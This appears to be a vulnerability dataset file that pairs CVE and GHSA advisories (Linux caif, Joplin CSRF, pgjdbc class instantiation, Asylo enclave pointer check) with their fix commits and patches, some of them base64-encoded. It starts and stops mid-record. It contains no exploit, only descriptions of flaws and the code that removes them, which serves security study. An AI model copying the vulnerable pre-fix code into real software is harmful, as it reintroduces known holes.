 #define s_check_end(s)		((s)->p == (s)->end)
 #define s_length(s)		((s)->end - (s)->data)
 #define s_left(s)               ((s)->size - ((s)->p - (s)->data))
diff --git a/types.h b/types.h
index b139b863..4556ab48 100644
--- a/types.h
+++ b/types.h
@@ -43,6 +43,8 @@ typedef signed short sint16;
 typedef unsigned int uint32;
 typedef signed int sint32;
 
+#define RD_UINT32_MAX (uint32)(-1)
+
 typedef void *RD_HBITMAP;
 typedef void *RD_HGLYPH;
 typedef void *RD_HCOLOURMAP;", "url": "https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1.patch" } ]
n/a
GHSA-r367-m5qq-xxfg
null
[ { "commit_message": "[PATCH] caif: Fix missing msg_namelen update in caif_seqpkt_recvmsg() The current code does not fill the msg_name member in case it is set. It also does not set the msg_namelen member to 0 and therefore makes net/socket.c leak the local, uninitialized sockaddr_storage variable to userland -- 128 bytes of kernel stack memory. Fix that by simply setting msg_namelen to 0 as obviously nobody cared about caif_seqpkt_recvmsg() not filling the msg_name in case it was set. Cc: Sjur Braendeland <sjur.brandeland@stericsson.com> Signed-off-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: David S. Miller <davem@davemloft.net> net/caif/caif_socket.c | 2 ++ 1 file changed, 2 insertions(+)", "patch_text_b64": "RnJvbSAyZDZmYmZlNzMzZjM1YzZiMzU1YzIxNjY0NGUwOGUxNDljNjFiMjcxIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBNYXRoaWFzIEtyYXVzZSA8bWluaXBsaUBnb29nbGVtYWlsLmNvbT4KRGF0ZTogU3VuLCA3IEFwciAyMDEzIDAxOjUxOjUyICswMDAwClN1YmplY3Q6IFtQQVRDSF0gY2FpZjogRml4IG1pc3NpbmcgbXNnX25hbWVsZW4gdXBkYXRlIGluIGNhaWZfc2VxcGt0X3JlY3Ztc2coKQoKVGhlIGN1cnJlbnQgY29kZSBkb2VzIG5vdCBmaWxsIHRoZSBtc2dfbmFtZSBtZW1iZXIgaW4gY2FzZSBpdCBpcyBzZXQuCkl0IGFsc28gZG9lcyBub3Qgc2V0IHRoZSBtc2dfbmFtZWxlbiBtZW1iZXIgdG8gMCBhbmQgdGhlcmVmb3JlIG1ha2VzCm5ldC9zb2NrZXQuYyBsZWFrIHRoZSBsb2NhbCwgdW5pbml0aWFsaXplZCBzb2NrYWRkcl9zdG9yYWdlIHZhcmlhYmxlCnRvIHVzZXJsYW5kIC0tIDEyOCBieXRlcyBvZiBrZXJuZWwgc3RhY2sgbWVtb3J5LgoKRml4IHRoYXQgYnkgc2ltcGx5IHNldHRpbmcgbXNnX25hbWVsZW4gdG8gMCBhcyBvYnZpb3VzbHkgbm9ib2R5IGNhcmVkCmFib3V0IGNhaWZfc2VxcGt0X3JlY3Ztc2coKSBub3QgZmlsbGluZyB0aGUgbXNnX25hbWUgaW4gY2FzZSBpdCB3YXMKc2V0LgoKQ2M6IFNqdXIgQnJhZW5kZWxhbmQgPHNqdXIuYnJhbmRlbGFuZEBzdGVyaWNzc29uLmNvbT4KU2lnbmVkLW9mZi1ieTogTWF0aGlhcyBLcmF1c2UgPG1pbmlwbGlAZ29vZ2xlbWFpbC5jb20+ClNpZ25lZC1vZmYtYnk6IERhdmlkIFMuIE1pbGxlciA8ZGF2ZW1AZGF2ZW1sb2Z0Lm5ldD4KLS0tCiBuZXQvY2FpZi9jYWlmX3NvY2tldC5jIHwgMiArKwogMSBmaWxlIGNoYW5nZWQsIDIgaW5zZXJ0aW9ucygrKQoKZGlmZiAtLWdpdCBhL25ldC9jYWlmL2NhaWZfc29ja2V0LmMgYi9uZXQvY2FpZi9jYWlmX3NvY2tldC5jCmluZGV4IDA5NTI1OWY4MzkwMjNhLi5mZjJmZjNjZTY5NjVhNyAxMDA2NDQKLS0tIGEvbmV0L2NhaWYvY2FpZl9zb2NrZXQuYworKysgYi9uZXQvY2FpZi9jYWlmX3NvY2tldC5jCkBAIC0yODYsNiArMjg2LDggQEAgc3RhdGljIGludCBjYWlmX3NlcXBrdF9yZWN2bXNnKHN0cnVjdCBraW9jYiAqaW9jYiwgc3RydWN0IHNvY2tldCAqc29jaywKIAlpZiAobS0+bXNnX2ZsYWdzJk1TR19PT0IpCiAJCWdvdG8gcmVhZF9lcnJvcjsKIAorCW0tPm1zZ19uYW1lbGVuID0gMDsKKwogCXNrYiA9IHNrYl9yZWN2X2RhdGFncmFtKHNrLCBmbGFncywgMCAsICZyZXQpOwogCWlmICghc2tiKQogCQlnb3RvIHJlYWRfZXJyb3I7", "url": "https://github.com/torvalds/linux/commit/2d6fbfe733f35c6b355c216644e08e149c61b271.patch" } ]
null
CVE-2021-23431
Cross-site Request Forgery (CSRF)
The package joplin before 2.3.2 are vulnerable to Cross-site Request Forgery (CSRF) due to missing CSRF checks in various forms.
[ { "commit_message": "[PATCH] Server: Added form tokens to prevent CSRF attacks packages/server/src/app.ts | 14 ++++++- packages/server/src/routes/index/upgrade.ts | 4 +- packages/server/src/routes/index/users.ts | 2 + packages/server/src/utils/csrf.ts | 37 +++++++++++++++++++ packages/server/src/utils/requestUtils.ts | 10 ++++- packages/server/src/utils/routeUtils.ts | 7 +++- .../server/src/views/index/upgrade.mustache | 3 +- packages/server/src/views/index/user.mustache | 21 +++++------ 8 files changed, 82 insertions(+), 16 deletions(-) create mode 100644 packages/server/src/utils/csrf.ts", "patch_text_b64": "From 19b45de2981c09f6f387498ef96d32b4811eba5e Mon Sep 17 00:00:00 2001
From: Laurent Cozic <laurent@cozic.net>
Date: Sat, 24 Jul 2021 17:45:30 +0100
Subject: [PATCH] Server: Added form tokens to prevent CSRF attacks

---
 packages/server/src/app.ts                    | 14 ++++++-
 packages/server/src/routes/index/upgrade.ts   |  4 +-
 packages/server/src/routes/index/users.ts     |  2 +
 packages/server/src/utils/csrf.ts             | 37 +++++++++++++++++++
 packages/server/src/utils/requestUtils.ts     | 10 ++++-
 packages/server/src/utils/routeUtils.ts       |  7 +++-
 .../server/src/views/index/upgrade.mustache   |  3 +-
 packages/server/src/views/index/user.mustache | 21 +++++------
 8 files changed, 82 insertions(+), 16 deletions(-)
 create mode 100644 packages/server/src/utils/csrf.ts

diff --git a/packages/server/src/app.ts b/packages/server/src/app.ts
index c68f9c3faed..f1f2c8e21b7 100644
--- a/packages/server/src/app.ts
+++ b/packages/server/src/app.ts
@@ -135,7 +135,19 @@ async function main() {
 			await next();
 		} catch (error) {
 			ctx.status = error.httpCode || 500;
-			ctx.body = JSON.stringify({ error: error.message });
+
+			// Since this is a low level error, rendering a view might fail too,
+			// so catch this and default to rendering JSON.
+			try {
+				ctx.body = await ctx.joplin.services.mustache.renderView({
+					name: 'error',
+					title: 'Error',
+					path: 'index/error',
+					content: { error },
+				});
+			} catch (anotherError) {
+				ctx.body = { error: anotherError.message };
+			}
 		}
 	});
 
diff --git a/packages/server/src/routes/index/upgrade.ts b/packages/server/src/routes/index/upgrade.ts
index 349b57e30f6..b373f4ac05b 100644
--- a/packages/server/src/routes/index/upgrade.ts
+++ b/packages/server/src/routes/index/upgrade.ts
@@ -10,6 +10,7 @@ import { bodyFields } from '../../utils/requestUtils';
 import { NotificationKey } from '../../models/NotificationModel';
 import { AccountType } from '../../models/UserModel';
 import { ErrorBadRequest } from '../../utils/errors';
+import { createCsrfTag } from '../../utils/csrf';
 
 interface FormFields {
 	upgrade_button: string;
@@ -21,7 +22,7 @@ function upgradeUrl() {
 	return `${config().baseUrl}/upgrade`;
 }
 
-router.get('upgrade', async (_path: SubPath, _ctx: AppContext) => {
+router.get('upgrade', async (_path: SubPath, ctx: AppContext) => {
 	interface PlanRow {
 		basicLabel: string;
 		proLabel: string;
@@ -51,6 +52,7 @@ router.get('upgrade', async (_path: SubPath, _ctx: AppContext) => {
 		basicPrice: plans.basic.price,
 		proPrice: plans.pro.price,
 		postUrl: upgradeUrl(),
+		csrfTag: await createCsrfTag(ctx),
 	};
 	view.cssFiles = ['index/upgrade'];
 	return view;
diff --git a/packages/server/src/routes/index/users.ts b/packages/server/src/routes/index/users.ts
index 731ac8679eb..4d0a830eaa0 100644
--- a/packages/server/src/routes/index/users.ts
+++ b/packages/server/src/routes/index/users.ts
@@ -17,6 +17,7 @@ import { getCanShareFolder, totalSizeClass } from '../../models/utils/user';
 import { yesNoDefaultOptions } from '../../utils/views/select';
 import { confirmUrl } from '../../utils/urlUtils';
 import { cancelSubscription, updateSubscriptionType } from '../../utils/stripe';
+import { createCsrfTag } from '../../utils/csrf';
 
 export interface CheckRepeatPasswordInput {
 	password: string;
@@ -146,6 +147,7 @@ router.get('users/:id', async (path: SubPath, ctx: AppContext, user: User = null
 	view.content.error = error;
 	view.content.postUrl = postUrl;
 	view.content.showDisableButton = !isNew && !!owner.is_admin && owner.id !== user.id && user.enabled;
+	view.content.csrfTag = await createCsrfTag(ctx);
 
 	if (subscription) {
 		view.content.subscription = subscription;
diff --git a/packages/server/src/utils/csrf.ts b/packages/server/src/utils/csrf.ts
new file mode 100644
index 00000000000..26be358b3ef
--- /dev/null
+++ b/packages/server/src/utils/csrf.ts
@@ -0,0 +1,37 @@
+import { ErrorForbidden } from './errors';
+import { escapeHtml } from './htmlUtils';
+import { bodyFields, isApiRequest } from './requestUtils';
+import { AppContext } from './types';
+
+interface BodyWithCsrfToken {
+	_csrf: string;
+}
+
+export async function csrfCheck(ctx: AppContext, isPublicRoute: boolean) {
+	if (isApiRequest(ctx)) return;
+	if (isPublicRoute) return;
+	if (!['POST', 'PUT'].includes(ctx.method)) return;
+	if (ctx.path === '/logout') return;
+
+	const userId = ctx.joplin.owner ? ctx.joplin.owner.id : '';
+	if (!userId) return;
+
+	const fields = await bodyFields<BodyWithCsrfToken>(ctx.req);
+	if (!fields._csrf) throw new ErrorForbidden('CSRF token is missing');
+
+	if (!(await ctx.joplin.models.token().isValid(userId, fields._csrf))) {
+		throw new ErrorForbidden(`Invalid CSRF token: ${fields._csrf}`);
+	}
+
+	await ctx.joplin.models.token().deleteByValue(userId, fields._csrf);
+}
+
+export async function createCsrfToken(ctx: AppContext) {
+	if (!ctx.joplin.owner) throw new Error('Cannot create CSRF token without a user');
+	return ctx.joplin.models.token().generate(ctx.joplin.owner.id);
+}
+
+export async function createCsrfTag(ctx: AppContext) {
+	const token = await createCsrfToken(ctx);
+	return `<input type="hidden" name="_csrf" value="${escapeHtml(token)}"/>`;
+}
diff --git a/packages/server/src/utils/requestUtils.ts b/packages/server/src/utils/requestUtils.ts
index 5c5e86aa7ec..99ffbfea42e 100644
--- a/packages/server/src/utils/requestUtils.ts
+++ b/packages/server/src/utils/requestUtils.ts
@@ -22,6 +22,8 @@ export async function formParse(req: any): Promise<FormParseResult> {
 		return output;
 	}
 
+	if (req.__parsed) return req.__parsed;
+
 	// Note that for Formidable to work, the content-type must be set in the
 	// headers
 	return new Promise((resolve: Function, reject: Function) => {
@@ -32,7 +34,13 @@ export async function formParse(req: any): Promise<FormParseResult> {
 				return;
 			}
 
-			resolve({ fields, files });
+			// Formidable seems to be doing some black magic and once a request
+			// has been parsed it cannot be parsed again. Doing so will do
+			// nothing, the code will just end there, or maybe wait
+			// indefinitely. So we cache the result on success and return it if
+			// some code somewhere tries again to parse the form.
+			req.__parsed = { fields, files };
+			resolve(req.__parsed);
 		});
 	});
 }
diff --git a/packages/server/src/utils/routeUtils.ts b/packages/server/src/utils/routeUtils.ts
index 1170c099f1c..3539ddb8bea 100644
--- a/packages/server/src/utils/routeUtils.ts
+++ b/packages/server/src/utils/routeUtils.ts
@@ -4,6 +4,7 @@ import { ErrorBadRequest, ErrorForbidden, ErrorNotFound } from './errors';
 import Router from './Router';
 import { AppContext, HttpMethod, RouteType } from './types';
 import { URL } from 'url';
+import { csrfCheck } from './csrf';
 
 const { ltrimSlashes, rtrimSlashes } = require('@joplin/lib/path-utils');
 
@@ -188,10 +189,14 @@ export async function execRequest(routes: Routers, ctx: AppContext) {
 	const endPoint = match.route.findEndPoint(ctx.request.method as HttpMethod, match.subPath.schema);
 	if (ctx.URL && !isValidOrigin(ctx.URL.origin, baseUrl(endPoint.type), endPoint.type)) throw new ErrorNotFound(`Invalid origin: ${ctx.URL.origin}`, 'invalidOrigin');
 
+	const isPublicRoute = match.route.isPublic(match.subPath.schema);
+
 	// This is a generic catch-all for all private end points - if we
 	// couldn't get a valid session, we exit now. Individual end points
 	// might have additional permission checks depending on the action.
-	if (!match.route.isPublic(match.subPath.schema) && !ctx.joplin.owner) throw new ErrorForbidden();
+	if (!isPublicRoute && !ctx.joplin.owner) throw new ErrorForbidden();
+
+	await csrfCheck(ctx, isPublicRoute);
 
 	return endPoint.handler(match.subPath, ctx);
 }
diff --git a/packages/server/src/views/index/upgrade.mustache b/packages/server/src/views/index/upgrade.mustache
index 0f59759c77d..37b75e7fdc2 100644
--- a/packages/server/src/views/index/upgrade.mustache
+++ b/packages/server/src/views/index/upgrade.mustache
@@ -1,7 +1,8 @@
 <h1 class="title">Upgrade your account</h1>
-<p class="subtitle">Upgrading to a Pro account to get the following benefits.</p>
+<p class="subtitle">Upgrade to a Pro account to get the following benefits.</p>
 
 <form id="upgrade_form" action="{{{postUrl}}}" method="POST">
+	{{{csrfTag}}}
 	<table class="table is-hoverable user-props-table">
 		<tbody>
 			<tr>
diff --git a/packages/server/src/views/index/user.mustache b/packages/server/src/views/index/user.mustache
index 3149ff3f56f..cc3ac2f2b74 100644
--- a/packages/server/src/views/index/user.mustache
+++ b/packages/server/src/views/index/user.mustache
@@ -4,6 +4,7 @@
 
 	<div class="block">
 		{{> errorBanner}}
+		{{{csrfTag}}}
 		<input type="hidden" name="id" value="{{user.id}}"/>
 		<input type="hidden" name="is_new" value="{{isNew}}"/>
 		<div class="field">
@@ -94,11 +95,11 @@
 		</div>
 	</div>
 
-	<h1 class="title">Your subscription</h1>
+	{{#subscription}}
+		<h1 class="title">Your subscription</h1>
 
-	<div class="block">
-		{{#global.owner.is_admin}}
-			{{#subscription}}
+		<div class="block">
+			{{#global.owner.is_admin}}
 				<div class="control block">
 					<p class="block">Stripe Subscription ID: <a href="https://dashboard.stripe.com/subscriptions/{{subscription.stripe_subscription_id}}">{{subscription.stripe_subscription_id}}</a></p>
 					{{#showUpdateSubscriptionBasic}}
@@ -111,11 +112,9 @@
 						<input type="submit" name="cancel_subscription_button" class="button is-danger" value="Cancel subscription" />
 					{{/showCancelSubscription}}
 				</div>
-			{{/subscription}}
-		{{/global.owner.is_admin}}
+			{{/global.owner.is_admin}}
 
-		{{^global.owner.is_admin}}
-			{{#subscription}}
+			{{^global.owner.is_admin}}
 				<div class="control block">
 					{{#showUpdateSubscriptionPro}}
 						<a href="{{{global.baseUrl}}}/upgrade" class="button is-warning block">Upgrade to Pro</a>
@@ -125,9 +124,9 @@
 						<input type="submit" id="user_cancel_subscription_button" name="user_cancel_subscription_button" class="button is-danger" value="Cancel subscription" />
 					{{/showCancelSubscription}}
 				</div>
-			{{/subscription}}
-		{{/global.owner.is_admin}}
-	</div>
+			{{/global.owner.is_admin}}
+		</div>
+	{{/subscription}}
 
 </form>", "url": "https://github.com/laurent22/joplin/commit/19b45de2981c09f6f387498ef96d32b4811eba5e.patch" } ]
Cross-site Request Forgery (CSRF)
GHSA-v7wg-cpwc-24m4
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
null
[ { "commit_message": "[PATCH] Merge pull request from GHSA-v7wg-cpwc-24m4 This ensures arbitrary classes can't be passed instead of AuthenticationPlugin, SocketFactory, SSLSocketFactory, CallbackHandler, HostnameVerifier .../postgresql/core/SocketFactoryFactory.java | 4 +- .../core/v3/AuthenticationPluginManager.java | 10 +- .../java/org/postgresql/ssl/LibPQFactory.java | 2 +- .../main/java/org/postgresql/ssl/MakeSSL.java | 2 +- .../org/postgresql/util/ObjectFactory.java | 7 +- .../test/util/ObjectFactoryTest.java | 106 ++++++++++++++++++ 6 files changed, 120 insertions(+), 11 deletions(-) create mode 100644 pgjdbc/src/test/java/org/postgresql/test/util/ObjectFactoryTest.java", "patch_text_b64": "From f4d0ed69c0b3aae8531d83d6af4c57f22312c813 Mon Sep 17 00:00:00 2001
From: Vladimir Sitnikov <sitnikov.vladimir@gmail.com>
Date: Tue, 1 Feb 2022 15:27:13 +0300
Subject: [PATCH] Merge pull request from GHSA-v7wg-cpwc-24m4

This ensures arbitrary classes can't be passed instead of
AuthenticationPlugin, SocketFactory, SSLSocketFactory, CallbackHandler, HostnameVerifier
---
 .../postgresql/core/SocketFactoryFactory.java |   4 +-
 .../core/v3/AuthenticationPluginManager.java  |  10 +-
 .../java/org/postgresql/ssl/LibPQFactory.java |   2 +-
 .../main/java/org/postgresql/ssl/MakeSSL.java |   2 +-
 .../org/postgresql/util/ObjectFactory.java    |   7 +-
 .../test/util/ObjectFactoryTest.java          | 106 ++++++++++++++++++
 6 files changed, 120 insertions(+), 11 deletions(-)
 create mode 100644 pgjdbc/src/test/java/org/postgresql/test/util/ObjectFactoryTest.java

diff --git a/pgjdbc/src/main/java/org/postgresql/core/SocketFactoryFactory.java b/pgjdbc/src/main/java/org/postgresql/core/SocketFactoryFactory.java
index 09efa75f07..fe56354a21 100644
--- a/pgjdbc/src/main/java/org/postgresql/core/SocketFactoryFactory.java
+++ b/pgjdbc/src/main/java/org/postgresql/core/SocketFactoryFactory.java
@@ -36,7 +36,7 @@ public static SocketFactory getSocketFactory(Properties info) throws PSQLExcepti
       return SocketFactory.getDefault();
     }
     try {
-      return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
+      return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true,
           PGProperty.SOCKET_FACTORY_ARG.get(info));
     } catch (Exception e) {
       throw new PSQLException(
@@ -61,7 +61,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws PSQLE
       return new LibPQFactory(info);
     }
     try {
-      return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true,
+      return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true,
           PGProperty.SSL_FACTORY_ARG.get(info));
     } catch (Exception e) {
       throw new PSQLException(
diff --git a/pgjdbc/src/main/java/org/postgresql/core/v3/AuthenticationPluginManager.java b/pgjdbc/src/main/java/org/postgresql/core/v3/AuthenticationPluginManager.java
index 938f24632f..bcc8b3a9b6 100644
--- a/pgjdbc/src/main/java/org/postgresql/core/v3/AuthenticationPluginManager.java
+++ b/pgjdbc/src/main/java/org/postgresql/core/v3/AuthenticationPluginManager.java
@@ -66,11 +66,12 @@ public static <T> T withPassword(AuthenticationRequestType type, Properties info
     } else {
       AuthenticationPlugin authPlugin;
       try {
-        authPlugin = (AuthenticationPlugin) ObjectFactory.instantiate(authPluginClassName, info,
+        authPlugin = ObjectFactory.instantiate(AuthenticationPlugin.class, authPluginClassName, info,
             false, null);
       } catch (Exception ex) {
-        LOGGER.log(Level.FINE, "Unable to load Authentication Plugin " + ex.toString());
-        throw new PSQLException(ex.getMessage(), PSQLState.UNEXPECTED_ERROR);
+        String msg = GT.tr("Unable to load Authentication Plugin {0}", authPluginClassName);
+        LOGGER.log(Level.FINE, msg, ex);
+        throw new PSQLException(msg, PSQLState.INVALID_PARAMETER_VALUE, ex);
       }
 
       password = authPlugin.getPassword(type);
@@ -106,7 +107,8 @@ public static <T> T withEncodedPassword(AuthenticationRequestType type, Properti
     byte[] encodedPassword = withPassword(type, info, password -> {
       if (password == null) {
         throw new PSQLException(
-            GT.tr("The server requested password-based authentication, but no password was provided."),
+            GT.tr("The server requested password-based authentication, but no password was provided by plugin {0}",
+                PGProperty.AUTHENTICATION_PLUGIN_CLASS_NAME.get(info)),
             PSQLState.CONNECTION_REJECTED);
       }
       ByteBuffer buf = StandardCharsets.UTF_8.encode(CharBuffer.wrap(password));
diff --git a/pgjdbc/src/main/java/org/postgresql/ssl/LibPQFactory.java b/pgjdbc/src/main/java/org/postgresql/ssl/LibPQFactory.java
index 67e1196b15..4249dcda77 100644
--- a/pgjdbc/src/main/java/org/postgresql/ssl/LibPQFactory.java
+++ b/pgjdbc/src/main/java/org/postgresql/ssl/LibPQFactory.java
@@ -56,7 +56,7 @@ private CallbackHandler getCallbackHandler(
     String sslpasswordcallback = PGProperty.SSL_PASSWORD_CALLBACK.get(info);
     if (sslpasswordcallback != null) {
       try {
-        cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
+        cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null);
       } catch (Exception e) {
         throw new PSQLException(
           GT.tr("The password callback class provided {0} could not be instantiated.",
diff --git a/pgjdbc/src/main/java/org/postgresql/ssl/MakeSSL.java b/pgjdbc/src/main/java/org/postgresql/ssl/MakeSSL.java
index bf64673f41..849d107321 100644
--- a/pgjdbc/src/main/java/org/postgresql/ssl/MakeSSL.java
+++ b/pgjdbc/src/main/java/org/postgresql/ssl/MakeSSL.java
@@ -64,7 +64,7 @@ private static void verifyPeerName(PGStream stream, Properties info, SSLSocket n
       sslhostnameverifier = "PgjdbcHostnameVerifier";
     } else {
       try {
-        hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
+        hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null);
       } catch (Exception e) {
         throw new PSQLException(
             GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",
diff --git a/pgjdbc/src/main/java/org/postgresql/util/ObjectFactory.java b/pgjdbc/src/main/java/org/postgresql/util/ObjectFactory.java
index ef24770e6f..e4fec28fc4 100644
--- a/pgjdbc/src/main/java/org/postgresql/util/ObjectFactory.java
+++ b/pgjdbc/src/main/java/org/postgresql/util/ObjectFactory.java
@@ -36,14 +36,15 @@ public class ObjectFactory {
    * @throws IllegalAccessException if something goes wrong
    * @throws InvocationTargetException if something goes wrong
    */
-  public static Object instantiate(String classname, Properties info, boolean tryString,
+  public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info,
+      boolean tryString,
       @Nullable String stringarg)
       throws ClassNotFoundException, SecurityException, NoSuchMethodException,
           IllegalArgumentException, InstantiationException, IllegalAccessException,
           InvocationTargetException {
     @Nullable Object[] args = {info};
-    Constructor<?> ctor = null;
-    Class<?> cls = Class.forName(classname);
+    Constructor<? extends T> ctor = null;
+    Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass);
     try {
       ctor = cls.getConstructor(Properties.class);
     } catch (NoSuchMethodException ignored) {
diff --git a/pgjdbc/src/test/java/org/postgresql/test/util/ObjectFactoryTest.java b/pgjdbc/src/test/java/org/postgresql/test/util/ObjectFactoryTest.java
new file mode 100644
index 0000000000..e0a9d1f4b4
--- /dev/null
+++ b/pgjdbc/src/test/java/org/postgresql/test/util/ObjectFactoryTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2022, PostgreSQL Global Development Group
+ * See the LICENSE file in the project root for more information.
+ */
+
+package org.postgresql.test.util;
+
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+
+import org.postgresql.PGProperty;
+import org.postgresql.jdbc.SslMode;
+import org.postgresql.test.TestUtil;
+import org.postgresql.util.ObjectFactory;
+import org.postgresql.util.PSQLState;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Assertions;
+import org.opentest4j.MultipleFailuresError;
+
+import java.sql.SQLException;
+import java.util.Properties;
+
+import javax.net.SocketFactory;
+
+public class ObjectFactoryTest {
+  Properties props = new Properties();
+
+  static class BadObject {
+    static boolean wasInstantiated = false;
+
+    BadObject() {
+      wasInstantiated = true;
+      throw new RuntimeException("I should not be instantiated");
+    }
+  }
+
+  private void testInvalidInstantiation(PGProperty prop, PSQLState expectedSqlState) {
+    prop.set(props, BadObject.class.getName());
+
+    BadObject.wasInstantiated = false;
+    SQLException ex = assertThrows(SQLException.class, () -> {
+      TestUtil.openDB(props);
+    });
+
+    try {
+      Assertions.assertAll(
+          () -> assertFalse(BadObject.wasInstantiated, "ObjectFactory should not have "
+              + "instantiated bad object for " + prop),
+          () -> assertEquals(expectedSqlState.getState(), ex.getSQLState(), () -> "#getSQLState()"),
+          () -> {
+            assertThrows(
+                ClassCastException.class,
+                () -> {
+                  throw ex.getCause();
+                },
+                () -> "Wrong class specified for " + prop.name()
+                    + " => ClassCastException is expected in SQLException#getCause()"
+            );
+          }
+      );
+    } catch (MultipleFailuresError e) {
+      // Add the original exception so it is easier to understand the reason for the test to fail
+      e.addSuppressed(ex);
+      throw e;
+    }
+  }
+
+  @Test
+  public void testInvalidSocketFactory() {
+    testInvalidInstantiation(PGProperty.SOCKET_FACTORY, PSQLState.CONNECTION_FAILURE);
+  }
+
+  @Test
+  public void testInvalidSSLFactory() {
+    TestUtil.assumeSslTestsEnabled();
+    // We need at least "require" to trigger SslSockerFactory instantiation
+    PGProperty.SSL_MODE.set(props, SslMode.REQUIRE.value);
+    testInvalidInstantiation(PGProperty.SSL_FACTORY, PSQLState.CONNECTION_FAILURE);
+  }
+
+  @Test
+  public void testInvalidAuthenticationPlugin() {
+    testInvalidInstantiation(PGProperty.AUTHENTICATION_PLUGIN_CLASS_NAME,
+        PSQLState.INVALID_PARAMETER_VALUE);
+  }
+
+  @Test
+  public void testInvalidSslHostnameVerifier() {
+    TestUtil.assumeSslTestsEnabled();
+    // Hostname verification is done at verify-full level only
+    PGProperty.SSL_MODE.set(props, SslMode.VERIFY_FULL.value);
+    PGProperty.SSL_ROOT_CERT.set(props, TestUtil.getSslTestCertPath("goodroot.crt"));
+    testInvalidInstantiation(PGProperty.SSL_HOSTNAME_VERIFIER, PSQLState.CONNECTION_FAILURE);
+  }
+
+  @Test
+  public void testInstantiateInvalidSocketFactory() {
+    Properties props = new Properties();
+    assertThrows(ClassCastException.class, () -> {
+      ObjectFactory.instantiate(SocketFactory.class, BadObject.class.getName(), props,
+          false, null);
+    });
+  }
+}", "url": "https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813.patch" } ]
null
CVE-2020-8944
Unchecked buffer overrun in ecall_restore
An arbitrary memory write vulnerability in Asylo versions up to 0.6.0 allows an untrusted attacker to make a call to ecall_restore using the attribute output which fails to check the range of a pointer. An attacker can use this pointer to write to arbitrary memory addresses including those within the secure enclave We recommend upgrading past commit 382da2b8b09cbf928668a2445efb778f76bd9c8a
[ { "commit_message": "[PATCH] Check output of ecall_restore is outside enclave PiperOrigin-RevId: 334265380 Change-Id: Ifbaead6bce56f01b2a4d69f53ca508d0138f6f61 asylo/platform/primitives/sgx/ecalls.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSAzODJkYTJiOGIwOWNiZjkyODY2OGEyNDQ1ZWZiNzc4Zjc2YmQ5YzhhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBDaG9uZyBDYWkgPGNob25nY0Bnb29nbGUuY29tPgpEYXRlOiBNb24sIDI4IFNlcCAyMDIwIDE2OjQ5OjU0IC0wNzAwClN1YmplY3Q6IFtQQVRDSF0gQ2hlY2sgb3V0cHV0IG9mIGVjYWxsX3Jlc3RvcmUgaXMgb3V0c2lkZSBlbmNsYXZlCgpQaXBlck9yaWdpbi1SZXZJZDogMzM0MjY1MzgwCkNoYW5nZS1JZDogSWZiYWVhZDZiY2U1NmYwMWIyYTRkNjlmNTNjYTUwOGQwMTM4ZjZmNjEKLS0tCiBhc3lsby9wbGF0Zm9ybS9wcmltaXRpdmVzL3NneC9lY2FsbHMuY2MgfCA0ICsrKy0KIDEgZmlsZSBjaGFuZ2VkLCAzIGluc2VydGlvbnMoKyksIDEgZGVsZXRpb24oLSkKCmRpZmYgLS1naXQgYS9hc3lsby9wbGF0Zm9ybS9wcmltaXRpdmVzL3NneC9lY2FsbHMuY2MgYi9hc3lsby9wbGF0Zm9ybS9wcmltaXRpdmVzL3NneC9lY2FsbHMuY2MKaW5kZXggYTE1ZmY3YmM0My4uZjI1M2ZkNDE0NiAxMDA2NDQKLS0tIGEvYXN5bG8vcGxhdGZvcm0vcHJpbWl0aXZlcy9zZ3gvZWNhbGxzLmNjCisrKyBiL2FzeWxvL3BsYXRmb3JtL3ByaW1pdGl2ZXMvc2d4L2VjYWxscy5jYwpAQCAtNjQsNyArNjQsOSBAQCBpbnQgZWNhbGxfcmVzdG9yZShjb25zdCBjaGFyICppbnB1dCwgdWludDY0X3QgaW5wdXRfbGVuLCBjaGFyICoqb3V0cHV0LAogICBpZiAoIWFzeWxvOjpwcmltaXRpdmVzOjpUcnVzdGVkUHJpbWl0aXZlczo6SXNPdXRzaWRlRW5jbGF2ZShpbnB1dCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXRfbGVuKSB8fAogICAgICAgIWFzeWxvOjpwcmltaXRpdmVzOjpUcnVzdGVkUHJpbWl0aXZlczo6SXNPdXRzaWRlRW5jbGF2ZSgKLSAgICAgICAgICBvdXRwdXRfbGVuLCBzaXplb2YodWludDY0X3QpKSkgeworICAgICAgICAgIG91dHB1dF9sZW4sIHNpemVvZih1aW50NjRfdCkpIHx8CisgICAgICAhYXN5bG86OnByaW1pdGl2ZXM6OlRydXN0ZWRQcmltaXRpdmVzOjpJc091dHNpZGVFbmNsYXZlKG91dHB1dCwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKm91dHB1dF9sZW4pKSB7CiAgICAgYXN5bG86OnByaW1pdGl2ZXM6OlRydXN0ZWRQcmltaXRpdmVzOjpCZXN0RWZmb3J0QWJvcnQoCiAgICAgICAgICJlY2FsbF9